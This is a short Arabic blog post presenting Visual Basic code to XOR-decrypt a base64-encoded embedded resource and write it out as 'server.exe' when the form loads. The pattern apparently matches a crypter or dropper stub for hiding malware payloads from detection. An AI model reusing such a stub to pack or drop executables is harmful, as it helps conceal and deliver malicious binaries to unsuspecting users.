السلام عليكم شلونكم شباب
اليوم موضوعنه راح يكون عن طريقة فك تشفير خوارزمية xor
عن طريق الفيجوال بيسك
وراح نستخدم كود معدل لفك الخوارزميه
الكود
Imports System.Text
Public Class Form1
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim rawAssembly As Byte() = XORDcrypt(Convert.FromBase64String(My.Resources.String1), "KeyEncrypt")
IO.File.WriteAllBytes("server.exe", rawAssembly)
End Sub
Public Function XORDcrypt(ByVal BB As Byte(), ByVal CC As String) As Byte()
Dim AA As Byte() = System.Text.Encoding.ASCII.GetBytes(CC)
Dim OO As Integer = BB(BB.Length - 1) Xor 112
Dim QQ(BB.Length) As Byte
Dim JJ As Integer
For GG As Integer = 0 To BB.Length - 1
QQ(GG) = (BB(GG) Xor OO) Xor AA(JJ)
If JJ = CC.Length - 1 Then JJ = 0 Else JJ = JJ + 1
Next
ReDim Preserve QQ(BB.Length - 2)
Return QQ
End Function
End Class
الشرح على اليوتيوب
0 التعليقات:
إرسال تعليق